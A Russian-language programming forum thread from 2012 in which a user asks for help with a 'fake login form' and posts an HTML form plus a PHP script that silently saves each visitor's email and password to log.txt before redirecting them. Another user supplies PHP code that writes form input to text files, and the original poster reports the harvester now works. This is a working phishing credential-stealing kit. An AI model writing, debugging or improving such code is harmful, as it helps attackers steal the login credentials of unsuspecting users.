ОсновноеRadiotalkПользовательское
Программирование
6   •   Посмотреть все темы

Фейк форма входа

 

6112
Turgaud @Turgaud
Народ, покажите как можно сделать форму входа (логин, пасс, и кнопка для входа) в html чтоб данные введеные записывались в корень фтп в файле txt
перерыл кучу уроков там почти все они на примере контакта, а мне контакт ен нужен, просто чистый функционал 2 поля ввода и кнопка все


допустим вот ворма входа

<form method="post" name="login" id="login" action="login.php">
Логин<br>
<input class="inputText" type="text" name="email" value="" id="email" size="25" /><br>

Пароль<br>
<input class="inputText" type="password" name="pass" value="" id="pass" size="25" />


<div class="button_blue button_wide"><button onclick="location.href='javascript:document.login.submit()'">Войти</button></div>

вот пхп

<?php
/*
#############
#by_NoNameZ#
###########
*/
$f=fopen("log.txt","at");
flock($f,2);
if(preg_match("/^([.0-9a-z_-]+)@(([0-9a-z-]+\.)+[0-9a-z]{2,4})$/i", $_POST['email'])&& !empty($_POST['pass'])){
fputs($f, $_POST['email'].";".$_POST['pass']." \n");
header("Location: **********
} else {
header("Location: bad.htm");
}
flock($f,3);
fclose($f);
?>

по идее вводишь данные нажимаешь на вход, и данные записыватся в файл log.txt, разрешение файлу log.txt 777 стоит,
при вводе данных и входе выскакивает ошибка

Warning: Cannot modify header information - headers already sent by (output started at /home/luperk/zakaz/fake/login.php:7) in /home/luperk/zakaz/fake/login.php on line 19


не могу понять в чем проблема..

3363
Влад @4ih-pqh
здесь вроде есть ошибка, но если сам не разберёшься, то постараюсь написать отдельно для тебя...вообще данную функцию я писал под сервер hfs , но не на пхп... на пхп примерно такая реализация (тут данные записываются в 2 файла текстовых с разным именем с одной кнопки, и если их нет, то создаёт их при записи)

<?php
$a = @readfile ("txtdatax/cvonline/file.txt");
if (!$a) echo "<center>Пользователь ничего не указал</center>";
else echo $n;
?>
<?php
if($_POST['post']){
$fp=fopen("txtdatax/cvonline/file.txt","w");
fwrite($fp,$_POST['post']);
fclose($fp);
}else{}
?>
<form name="customize" enctype="multipart/form-data" method="POST">
<textarea cols="75" rows="8" name="post">
<?php
$a = @readfile ("txtdatax/cvonline/file.txt");
if (!$a) echo "Пользователь ничего не указал";
else echo $n;
?>
</textarea>
<br><input name="test" type="submit" value="Изменить">
<?php
if($_POST['post2']){
$fp=fopen("txtdatax/cvonline/file2.txt","w");
fwrite($fp,$_POST['post2']);
fclose($fp);
}else{}
?>
<form name="customize" enctype="multipart/form-data" method="POST">
<textarea cols="75" rows="8" name="post2">
<?php
$a = @readfile ("txtdatax/cvonline/file2.txt");
if (!$a) echo "Пользователь ничего не указал";
else echo $n;
?>
</textarea>
<br><input name="test" type="submit" value="Изменить">
</form>

Отредактировано 4ih-pqh - 20.04.2012
6112
Turgaud @Turgaud
да уже неактуально 2е суток, забыл отписать сорри)) разобрался, все прекрасно ходит)

3363
Влад @4ih-pqh
Luperk пишет:

да уже неактуально 2е суток, забыл отписать сорри)) разобрался, все прекрасно ходит)

о'кей)))

Отредактировано 4ih-pqh - 20.04.2012